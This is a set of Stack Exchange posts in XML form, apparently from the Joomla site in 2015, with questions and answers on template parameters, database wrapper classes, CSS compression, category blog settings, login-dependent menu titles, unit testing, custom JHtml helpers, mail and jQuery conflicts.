  <row Id="12209" PostTypeId="1" CreationDate="2015-08-18T08:33:29.647" Score="3" ViewCount="314" Body="&lt;p&gt;I'm creating a joomla template that allows user to change the template styles (such as font-family setting, bgcolor, text color, etc) from the template backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a reset button, so if you messed up the settings, you can easily revert back &lt;strong&gt;some&lt;/strong&gt; fields to the default settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a workaround &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=806070&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but it's incomplete. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-17T10:26:42.700" Title="Reset button for template parameters" Tags="|templates|module-params|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12210" PostTypeId="2" ParentId="12209" CreationDate="2015-08-18T10:14:05.287" Score="2" Body="&lt;p&gt;Template style options are saved in &lt;code&gt;#__template_styles&lt;/code&gt;.&lt;code&gt;params&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A Protostar's sample saved params:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;templateColor&quot;:&quot;#696969&quot;,&quot;templateBackgroundColor&quot;:&quot;#E3E3E3&quot;,&quot;logoFile&quot;:&quot;&quot;,&quot;googleFont&quot;:&quot;1&quot;,&quot;googleFontName&quot;:&quot;Open+Sans&quot;,&quot;fluidContainer&quot;:&quot;0&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I guess you will need a custom Field, that will run some update code to set your params of the current template style to a default state.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-18T10:14:05.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12211" PostTypeId="1" AcceptedAnswerId="12227" CreationDate="2015-08-18T11:21:02.040" Score="0" ViewCount="99" Body="&lt;p&gt;I'm using the Joomla Database Framework package for an internal project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To initiate a Database instance, I'm using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = Joomla\Database\DatabaseDriver::getInstance($options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$options&lt;/code&gt; variable would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'host' =&amp;gt; 'localhost',&#xA;    'user' =&amp;gt; 'XXXXX',&#xA;    'password' =&amp;gt; 'XXXXXXX',&#xA;    'database' =&amp;gt; 'XXXXX',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any function that has a database query will require the &lt;code&gt;getInstance&lt;/code&gt; which is perfect fine, however I do not wish to define the &lt;code&gt;$options&lt;/code&gt; in every single function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I overcome this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be better to create a wrapper class/function and call that instead?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-08-18T11:55:02.293" LastActivityDate="2015-08-19T08:45:46.770" Title="Defining database options for Joomla framework package" Tags="|database|joomla-framework|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12212" PostTypeId="2" ParentId="10429" CreationDate="2015-08-18T12:45:17.473" Score="0" Body="&lt;p&gt;You can try define true smtp account data to send your messages. I do this In my site and never more have problems with messages. All components work perfect now. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-18T12:45:17.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12213" PostTypeId="1" AcceptedAnswerId="13519" CreationDate="2015-08-18T13:20:48.130" Score="5" ViewCount="726" Body="&lt;p&gt;I'm creating joomla template using &lt;a href=&quot;http://www.blank.vc/&quot;&gt;blank &lt;/a&gt;joomla starter template. The blank joomla template has a file called template.css.php that combines and compresses multiple template css files into one single file output for lowering http request. This template.css.php can be accessed directly from browser (direct access) and will return compressed css code output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reasons I need to call my template parameters from the inside of template.css.php but when I try to get template parameters, the file template.css.php is no longer available for direct access. It will return a blank page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to get this work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the modified version of my template.css.php file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    /* modified code START */&#xA;&#xA;    require_once ( '../../../includes/defines.php' );&#xA;    require_once ( '../../../includes/framework.php' );&#xA;&#xA;    $app            = JFactory::getApplication();&#xA;    $doc            = JFactory::getDocument();&#xA;    $params = $app-&amp;gt;getParams();&#xA;    $pageclass      = $params-&amp;gt;get('pageclass_sfx');&#xA;&#xA;    /* modified code END */&#xA;&#xA;    // initialize ob_gzhandler to send and compress data&#xA;    ob_start (&quot;ob_gzhandler&quot;);&#xA;    // initialize compress function for whitespace removal&#xA;    ob_start(&quot;compress&quot;);&#xA;    // required header info and character set&#xA;    header(&quot;Content-type:text/css; charset=UTF-8&quot;);&#xA;    // cache control to process&#xA;    header(&quot;Cache-Control:must-revalidate&quot;);&#xA;    // duration of cached content (1 hour)&#xA;    $offset = 60 * 60 ;&#xA;    // expiration header format&#xA;    $ExpStr = &quot;Expires: &quot; . gmdate(&quot;D, d M Y H:i:s&quot;,time() + $offset) . &quot; GMT&quot;;&#xA;    // send cache expiration header to broswer&#xA;    header($ExpStr);&#xA;    // begin function compress&#xA;    function compress($buffer) {&#xA;        // remove comments&#xA;        $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);&#xA;        // remove tabs, spaces, new lines, etc.&#xA;        $buffer = str_replace(array(&quot;\r\n&quot;,&quot;\r&quot;,&quot;\n&quot;,&quot;\t&quot;,'  ','    ','    '),'',$buffer);&#xA;        // remove unnecessary spaces&#xA;        $buffer = str_replace('{ ', '{', $buffer);&#xA;        $buffer = str_replace(' }', '}', $buffer);&#xA;        $buffer = str_replace('; ', ';', $buffer);&#xA;        $buffer = str_replace(', ', ',', $buffer);&#xA;        $buffer = str_replace(' {', '{', $buffer);&#xA;        $buffer = str_replace('} ', '}', $buffer);&#xA;        $buffer = str_replace(': ', ':', $buffer);&#xA;        $buffer = str_replace(' ,', ',', $buffer);&#xA;        $buffer = str_replace(' ;', ';', $buffer);&#xA;        $buffer = str_replace(';}', '}', $buffer);&#xA;&#xA;        return $buffer;&#xA;    }&#xA;&#xA;    // uikit.css&#xA;    require('uikit.min.css');&#xA;    require('uikit/slider.css');&#xA;    require('uikit/slidenav.css');&#xA;&#xA;    // template css&#xA;&#xA;    require('template.css');&#xA;&#xA;    // load system stylesheets for system messages and default buttons&#xA;    require('../../../media/system/css/system.css');&#xA;    require('../../system/css/system.css');&#xA;    require('../../system/css/general.css');&#xA;&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-08T20:22:56.853" Title="Getting template params from template.css.php" Tags="|templates|css|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12214" PostTypeId="1" AcceptedAnswerId="12216" CreationDate="2015-08-18T13:22:00.923" Score="2" ViewCount="2046" Body="&lt;p&gt;I have a menu item of the &lt;code&gt;category blog&lt;/code&gt; type, which is pointing to a category which has category children. I have configured this menu item and the category manager options to hide all subcategories, as shown in the images below, ie. &lt;strong&gt;subcategory levels = none&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, these settings are supposed to hide all child categories from a blog page, &lt;strong&gt;but my category blog page displays all of the articles&lt;/strong&gt; from the child categories as well as those from the parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some overrides in place for &lt;code&gt;blog.php&lt;/code&gt; and &lt;code&gt;blog_item.php&lt;/code&gt; but temporarily removing these had no impact on my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to hide the articles from any child category, only displaying articles in the top (parent) category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, why are the configuration settings not working the way I intend? What could be causing this issue?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Menu - Category Blog - config options&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vp6Jv.jpg&quot; alt=&quot;Menu - Category Blog - config options&quot; title=&quot;Menu - Category Blog - config options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Category Manager - config options&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yyD0y.jpg&quot; alt=&quot;Category Manager - config options&quot; title=&quot;Category Manager - config options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="126" LastEditDate="2015-08-19T14:57:55.390" LastActivityDate="2015-08-19T17:05:28.567" Title="Unable to hide subcategories in category blog layout" Tags="|joomla-3.x|com-content|category|configuration|subcategories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostTypeId="2" ParentId="12214" CreationDate="2015-08-18T17:44:26.203" Score="3" Body="&lt;h1&gt;Menu - Category Blog - Blog layout options&lt;/h1&gt;&#xA;&lt;p&gt;Did you check this setting too ? in the menu options ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5zmCk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zmCk.png&quot; alt=&quot;Joomla category blog layout options&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1681" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-18T17:44:26.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12217" PostTypeId="1" AcceptedAnswerId="12218" CreationDate="2015-08-18T18:05:18.080" Score="5" ViewCount="1630" Body="&lt;p&gt;I am using &lt;strong&gt;T3 Framework&lt;/strong&gt; blank template. In the megamenu I have inserted the login form as a submenu, so it shows up when the user hovers over the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change the menu item title (or the text that shows there), depending on if the user is logged in e.g. 'Login' if they are not and 'hi (username)' when they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, maybe by adding some php in the template, without creating 2 different menu items, one for guest users and another one for registered?&lt;/p&gt;&#xA;" OwnerUserId="5752" LastEditorUserId="5752" LastEditDate="2015-08-18T19:23:37.457" LastActivityDate="2015-08-18T22:21:29.057" Title="Change menu item title according to login status" Tags="|joomla-3.x|menu-item|template-override|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12218" PostTypeId="2" ParentId="12217" CreationDate="2015-08-18T19:50:29.700" Score="1" Body="&lt;p&gt;This is what I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Override&lt;/a&gt; for &lt;strong&gt;mod_login&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, open the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/html/mod_login/default_logout.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function($){ &#xA;        $(&quot;.menu&quot;).find(&quot;a.something&quot;).empty().text(&quot;Hi ' . $user-&amp;gt;username .'&quot;);&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-08-18T22:21:29.057" LastActivityDate="2015-08-18T22:21:29.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12219" PostTypeId="2" ParentId="4556" CreationDate="2015-08-18T20:07:37.407" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Where to put component test code&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically best practices says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/src/&#xA;/tests/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I skipped the /src and simply but /tests/ inside the component directory. On the front end, for an &quot;abc&quot; component, it might look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_abc/&#xA;/components/com_abc/abc.php&#xA;/components/com_abc/controller.php&#xA;/components/com_abc/router.php&#xA;/components/com_abc/tests/&#xA;/components/com_abc/tests/controllerTest.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I need to provide my own bootstrap.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did. Sort of. I just copied the goodies in the root index.php file to the top of my unit test script. Yours was close to mine. My next step would be to encapsulate into a separate file that I would require_once().&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;error_reporting(E_ALL);&#xA;&#xA;define('_JEXEC', 1);&#xA;define('_PHPUNIT', 1);&#xA;define('JPATH_BASE', &quot;/var/www/html/abcsite&quot;);&#xA;&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Instantiate the application.&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;// Include dependancies&#xA;require_once '../controller.php';&#xA;&#xA;// This is specific to this component&#xA;define('JPATH_COMPONENT', JPATH_BASE . &quot;/components/com_abc&quot;);&#xA;&#xA;class controllerTest extends PHPUnit_Framework_TestCase&#xA;{&#xA;    public function testCronjob()&#xA;    {&#xA;&#xA;        // Need access to the controller&#xA;        $controller = JController::getInstance('Abc');&#xA;&#xA;        // Should return&#xA;        $this-&amp;gt;assertEquals('test', $controller-&amp;gt;execute(&quot;cronjob&quot;));&#xA;&#xA;    }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ideally someone could direct me to an open source Joomla component that has tests &amp;amp; instructions on how to run them (had a quick look, first 5 or so didn't have tests).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found it easy enough to roll my own. I didn't even bother to set up phpunit.xml.&lt;/p&gt;&#xA;" OwnerUserId="5754" LastActivityDate="2015-08-18T20:07:37.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostTypeId="2" ParentId="12217" CreationDate="2015-08-18T20:20:52.743" Score="4" Body="&lt;p&gt;If I am understanding your question you want to hide/change the menu item depending on whether or not a person is logged in or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK this is how I managed to how to hide content from guest users or logged in users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create a new 'Guest' group;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a Guest Group in the User Manager &lt;/li&gt;&#xA;&lt;li&gt;Add a new Guest Viewing Access Level &lt;/li&gt;&#xA;&lt;li&gt;Change the default guest group in the User Manager options&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's a detailed guide &lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial#Allowing_Guest-Only_Access_to_Menu_Items_and_Modules&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find the module you want visible for Guests &gt; Edit &gt; Set the Access to Guest&lt;/li&gt;&#xA;&lt;li&gt;Find the module you want visible for Registered Users &gt; Edit &gt; Set the Access to Registered&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should solve your access level issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to add the 'Hi {Username}' what I did was use NoNumbers &lt;a href=&quot;https://www.nonumber.nl/extensions/sourcerer#how-to-connect-to-the-database&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt; and simply echo the &lt;code&gt;$user-&amp;gt;username&lt;/code&gt; in the module title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sourcerer checks your php code to see if you are referencing any commonly used Joomla objects / variables, and then creates them for you. This means you don't have to create these variables yourself every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps not the cleanest method (compared to @Lodders) however it does work and is easily replicated for other modules etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-08-18T20:20:52.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12221" PostTypeId="2" ParentId="12214" CreationDate="2015-08-18T21:01:03.173" Score="4" Body="&lt;p&gt;As @Sasi varna kumar showed with the screenshot in his answer, what you need to adjust is what articles should be shown in your blog layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings you were adjusting are about showing categories and subcategories, which (the categories) can be considered as an independent content entity. Showing categories's data, like category's and subcategories' text, descriptions, images etc, should not be confused with showing articles from these categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what articles should be displayed are handled in the &quot;&lt;strong&gt;Blog Layout&lt;/strong&gt;&quot; tab.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-19T17:05:28.567" LastActivityDate="2015-08-19T17:05:28.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12222" PostTypeId="1" AcceptedAnswerId="12223" CreationDate="2015-08-19T00:40:44.000" Score="3" ViewCount="169" Body="&lt;p&gt;I know I will have to update the model $batch_commands array and also add the new methods/commands I want to run beyond the normal. But this questions main focus is to add more fields/widgets the batch modal like those in the abstract class JHtmlBatch. So I can use &lt;code&gt;&amp;lt;?php echo JHtml::_('batch.customfield'); ?&amp;gt;&lt;/code&gt; in the default_batch.php file.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="2166" LastEditDate="2015-08-19T00:52:27.980" LastActivityDate="2015-08-19T02:43:02.203" Title="I would like to add more custom batch widget, so how to set custom html helpers to the JHtml class" Tags="|modal|batch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12223" PostTypeId="2" ParentId="12222" CreationDate="2015-08-19T02:43:02.203" Score="6" Body="&lt;p&gt;Okay I found the way that this can be done. In the helpers folder of you component you create a new folder called html and in it you place your file. Now using &lt;code&gt;&amp;lt;?php echo JHtml::_('widget.customfield'); ?&amp;gt;&lt;/code&gt; as our example the file name will be admin/helpers/html/&lt;strong&gt;widget.php&lt;/strong&gt; then in the file you add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Content HTML helper&#xA; *&#xA; * @since  3.0&#xA; */&#xA;abstract class JHtmlWidget&#xA;{&#xA;    public static function customfield()&#xA;    {&#xA;        $html = '&amp;lt;h1&amp;gt;works&amp;lt;/h1&amp;gt;';&#xA;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then update this file views/customviewname/tmpl/default.php by adding the following php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the html area you can now declare the widget simply with the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('widget.customfield'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have fun...&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2015-08-19T02:43:02.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12224" PostTypeId="1" CreationDate="2015-08-19T03:02:03.903" Score="5" ViewCount="754" Body="&lt;p&gt;I built a custom component using the &lt;code&gt;$mail = JFactory::getMailer();&lt;/code&gt; as shown on this page: &lt;a href=&quot;https://docs.joomla.org/Sending_email_from_extensions&quot;&gt;https://docs.joomla.org/Sending_email_from_extensions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;mailtrap.io&lt;/code&gt; to catch the sent mail for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked fine for all the Joomla 3.4 releases until 3.4.3, at which point it no longer works. The mail still gets sent, but unless I set the &lt;code&gt;$mail-&amp;gt;isHTML(true);&lt;/code&gt; flag, there's no body content in the message (subject, reply to, etc. still gets through fine). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I &lt;code&gt;var_dump&lt;/code&gt; the &lt;code&gt;$mail&lt;/code&gt; variable, the &lt;code&gt;$body&lt;/code&gt; content appears correct-- it's not that the variable isn't being set. It seems like it's just not making it out the door.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-08-25T12:12:57.800" Title="Joomla 3.4.3 mail function" Tags="|joomla-3.3.x|emails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12225" PostTypeId="1" CreationDate="2015-08-19T06:26:15.963" Score="3" ViewCount="1911" Body="&lt;p&gt;External Jquery script not working in Joomla template. Below I pasted script for reference. Any help greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ShowLayer() {&#xA;        var layer = $(this).attr(&quot;layer-id&quot;);&#xA;        if (!$(&quot;#&quot; + layer).is(&quot;:visible&quot;)) {&#xA;            var zindex = $(&quot;#&quot; + layer).css(&quot;z-index&quot;);&#xA;            $(&quot;#&quot; + layer).removeClass(&quot;zIndex&quot;);&#xA;            $(&quot;#&quot; + layer).css(&quot;z-index&quot;, zindex + 1);&#xA;            //$(&quot;#&quot; + layer).slideIn();&#xA;            SlideIn($(&quot;#&quot; + layer));&#xA;        }&#xA;    }&#xA;    function SlideIn(current) {&#xA;        var scope = $('.outer');&#xA;        current.css(&quot;left&quot;, $(scope).width());&#xA;        current.show();&#xA;        current.animate({ left: 0 }, 700, &quot;linear&quot;, function () {               &#xA;        });&#xA;    }&#xA;    function SlideOut(current) {&#xA;        var scope = $('.outer');&#xA;        current.animate({ left: $(scope).width() }, 700, &quot;linear&quot;, function () {&#xA;            current.css(&quot;z-index&quot;, &quot;&quot;)&#xA;            current.addClass(&quot;zIndex&quot;);  &#xA;            current.hide();&#xA;        });&#xA;    }&#xA;    function CloseLayer() {&#xA;        var layer = $(this).attr(&quot;layer-id&quot;);               &#xA;        SlideOut($(&quot;#&quot; + layer));&#xA;    }&#xA;    $(document).ready(function () {&#xA;        $('.show-layer').click(ShowLayer);&#xA;        $('.close-layer').click(CloseLayer);&#xA;        $('.scrollerview').css(&quot;opacity&quot;, &quot;0&quot;);&#xA;        $(window).scroll(function () {&#xA;            $('.scrollerview').each(function (i) {&#xA;                var factor = -250;&#xA;                if ($(this).hasClass(&quot;PckHdOtr&quot;)) {&#xA;                    factor = 250;&#xA;                }&#xA;                var bottom_of_object = $(this).offset().top + $(this).outerHeight();&#xA;                var bottom_of_window = $(window).scrollTop() + $(window).height() - factor;&#xA;                if (bottom_of_window &amp;gt; bottom_of_object) {&#xA;                    $(this).animate({ 'opacity': '1' }, 900);&#xA;                    if ($(this).hasClass(&quot;PckHdOtr&quot;)) {&#xA;                        $('.outer').animate({ 'opacity': '1' }, 900);&#xA;                    }&#xA;                }&#xA;            });&#xA;&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1875" LastEditorUserId="154" LastEditDate="2015-08-19T06:59:33.623" LastActivityDate="2015-08-19T08:49:56.730" Title="External Jquery Script not working" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12226" PostTypeId="2" ParentId="12225" CreationDate="2015-08-19T07:01:30.950" Score="6" Body="&lt;p&gt;You are probably running into conflict problems, since both jQuery and the mootools library use the '$' char as shortcut. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple ways to deal with that problem. You have to find out which method works best for you. Not all of these may apply to your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A) Replace all '$' characters with 'jQuery' as $ is a shortcut for jQuery&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B) Add this line right before your code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $ = jQuery.noConflict();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that you can use $ in your script&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C) Wrap your whole code into the jQuery wrapper function and use $ as scope, like&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function ($) {&#xA;    // All of your code, including your functions&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or the more concise syntax for the code above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;    // Your code&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You also have to make sure that you add this code &lt;strong&gt;after&lt;/strong&gt; you&#xA;  include the jQuery library.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can read more about conflicts with other libraries here: &lt;a href=&quot;http://learn.jquery.com/using-jquery-core/avoid-conflicts-other-libraries/&quot; rel=&quot;noreferrer&quot;&gt;http://learn.jquery.com/using-jquery-core/avoid-conflicts-other-libraries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-08-19T08:49:56.730" LastActivityDate="2015-08-19T08:49:56.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12227" PostTypeId="2" ParentId="12211" CreationDate="2015-08-19T08:45:46.770" Score="1" Body="&lt;p&gt;I ended up creating a wrapper class and function as per the below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Database&#xA;{&#xA;    protected $db;&#xA;&#xA;    private function _connect()&#xA;    {  &#xA;        $dbFactory = new Joomla\Database\DatabaseFactory;&#xA;&#xA;        try&#xA;        {&#xA;            $this-&amp;gt;db = $dbFactory-&amp;gt;getDriver(&#xA;                'mysqli',&#xA;                array(&#xA;                    'host'      =&amp;gt; 'localhost',&#xA;                    'user'      =&amp;gt; 'XXXXX',&#xA;                    'password'  =&amp;gt; 'XXXXX',&#xA;                    'database'  =&amp;gt; 'XXXXX',&#xA;                    'prefix'    =&amp;gt; 'jos_'&#xA;                )&#xA;            );&#xA;        }&#xA;        catch (Exception $e)&#xA;        {&#xA;            die('There was a problem connecting to the database');&#xA;        }&#xA;&#xA;        return $this-&amp;gt;db;&#xA;    }&#xA;&#xA;    public function connect()&#xA;    {&#xA;        return $this-&amp;gt;_connect();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in any function where I was to call this, I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dbo    = new Database;&#xA;$db     = $dbo-&amp;gt;connect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-19T08:45:46.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
